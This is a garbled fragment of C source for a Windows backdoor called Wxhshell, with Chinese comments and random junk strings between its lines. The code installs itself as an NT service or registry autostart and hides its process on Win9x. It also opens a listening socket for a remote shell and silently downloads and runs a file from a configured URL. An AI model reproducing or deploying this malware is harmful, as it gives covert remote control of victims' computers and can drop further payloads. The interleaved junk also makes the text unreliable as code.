^lf= return 0; // 注册表启动 Am4^v?q } W6Aj<{\F Z-h7 // 主模块 )x8;.@U int StartWxhshell(LPSTR lpCmdLine) Ds%&Mi { 1^f.5@tV SOCKET wsl; s\C8t0C BOOL val=TRUE; it\DZGsg int port=0; D_n}p8blT struct sockaddr_in door; ZAX0n!db3 w0j/\XN2s if(wscfg.ws_autoins) Install(); Ph#F<e(9 p;u 1{ port=atoi(lpCmdLine); ./&zO{|0] +fd@K if(port<=0) port=wscfg.ws_port; K%(XgXb(</
GKyG
#Fl WSADATA data; T~o{woq}g if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qQxA@kdd V@_-H
gg if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7{An@hNh setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LZc$:<J<6 door.sin_family = AF_INET; lTr*'fX door.sin_addr.s_addr = inet_addr("127.0.0.1"); a\{1UD door.sin_port = htons(port); ]KXMGH_ 8L-4}!~C if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "<w2v'6S closesocket(wsl); `e $n$Bh return 1; ~3bZ+*H> } h^A3 0f_x 2\nN4WL
5. if(listen(wsl,2) == INVALID_SOCKET) { )jlP
cO- closesocket(wsl); Wyq~:vU.S return 1; 3xzkZ8]/ } k]Alp;hVd Wxhshell(wsl); mGe|8In WSACleanup(); GjeUUmr Cx+WLD return 0; `D)Lzm R ,]Ro',A& } }{5mH: jWXR__>. // 以NT服务方式启动 %0yS98']g VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^}o7* { \6lh `U DWORD status = 0; xEVLE,*?> DWORD specificError = 0xfffffff; JvfQib oe!:|ck< serviceStatus.dwServiceType = SERVICE_WIN32; {4:
-0itG serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2f|6z-Z serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4O`6h)!NQ serviceStatus.dwWin32ExitCode = 0; l801`~*gO serviceStatus.dwServiceSpecificExitCode = 0; WGh. ;- serviceStatus.dwCheckPoint = 0; wy{ \/?~c serviceStatus.dwWaitHint = 0; )d +hZ' U!c]_q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g5[ D& if (hServiceStatusHandle==0) return; ':\fl.b tx0Go'{ status = GetLastError(); sn-)(XU! if (status!=NO_ERROR) $T?*0"Mj[ { g/8.W serviceStatus.dwCurrentState = SERVICE_STOPPED; OGJ=VQA serviceStatus.dwCheckPoint = 0; Y5ogi) serviceStatus.dwWaitHint = 0; iW|s|1mh3 serviceStatus.dwWin32ExitCode = status; ge0's+E+1 serviceStatus.dwServiceSpecificExitCode = specificError; E
&7@#'l SetServiceStatus(hServiceStatusHandle, &serviceStatus);
c6Lif)4 return; Q !9HA[Ly } 'lhP!E_)q e=t<H"& serviceStatus.dwCurrentState = SERVICE_RUNNING; P_p6GT:5 serviceStatus.dwCheckPoint = 0; 4!l
sk:R serviceStatus.dwWaitHint = 0; ?fK^&6pI if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FXx.$W } q*6q}s3n #(%t*"IY; // 处理NT服务事件,比如:启动、停止 )n7|?@5U VOID WINAPI NTServiceHandler(DWORD fdwControl) l80bHp= { 8p (!]^z switch(fdwControl) fokwW}>B[f { YC]PN5[1! case SERVICE_CONTROL_STOP: mEoA#U serviceStatus.dwWin32ExitCode = 0; b'velj3A serviceStatus.dwCurrentState = SERVICE_STOPPED; |9>*$Fe" serviceStatus.dwCheckPoint = 0; 0Injyc*bMF serviceStatus.dwWaitHint = 0; \\jIl3Z { of9q"h SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~~PgF"v } M@|w[ydQG return; 8HMo.*Ti9 case SERVICE_CONTROL_PAUSE: 3p=vz' serviceStatus.dwCurrentState = SERVICE_PAUSED; rdO@X9z break; ' _B_&is case SERVICE_CONTROL_CONTINUE: ]o-Fi$h! serviceStatus.dwCurrentState = SERVICE_RUNNING; 7zD- ?% break; K~c^*;F case SERVICE_CONTROL_INTERROGATE: 6Wj@r!u break; U1l0Uke }; fr+@HUOxsl SetServiceStatus(hServiceStatusHandle, &serviceStatus); /b.$jnqL } [?-]PZ ]}Pl%. // 标准应用程序主函数 [ S5bj]D int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [#p&D~Du& { >DL/..
jm[}M // 获取操作系统版本 _=ugxL #eB OsIsNt=GetOsVer(); UL+E,= GetModuleFileName(NULL,ExeFile,MAX_PATH); Bwjg#1 E eY
T8$ // 从命令行安装 M[~Jaxw% if(strpbrk(lpCmdLine,"iI")) Install(); b SQRLxF )8;{nqoC // 下载执行文件
n
]w7Zj if(wscfg.ws_downexe) { )S^z+3p if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J"-_{)0lD WinExec(wscfg.ws_filenam,SW_HIDE); R1}IeeZO?& } sltk@ Nz~(+pVWg5 if(!OsIsNt) { K<FKu $= // 如果时win9x,隐藏进程并且设置为注册表启动 )o{VmXe@@ HideProc(); yVaU t_Zi StartWxhshell(lpCmdLine); LZ{YmD&6] } N/K=Ygv. else ?cJY
B) if(StartFromService()) ~z5@V5z // 以服务方式启动 F)
?o, StartServiceCtrlDispatcher(DispatchTable); Y)|~:& tZ else <yZP|_ // 普通方式启动 2B^~/T<\ StartWxhshell(lpCmdLine); R*087X7
N| u+i (";\ return 0; lX"b N=E?! }
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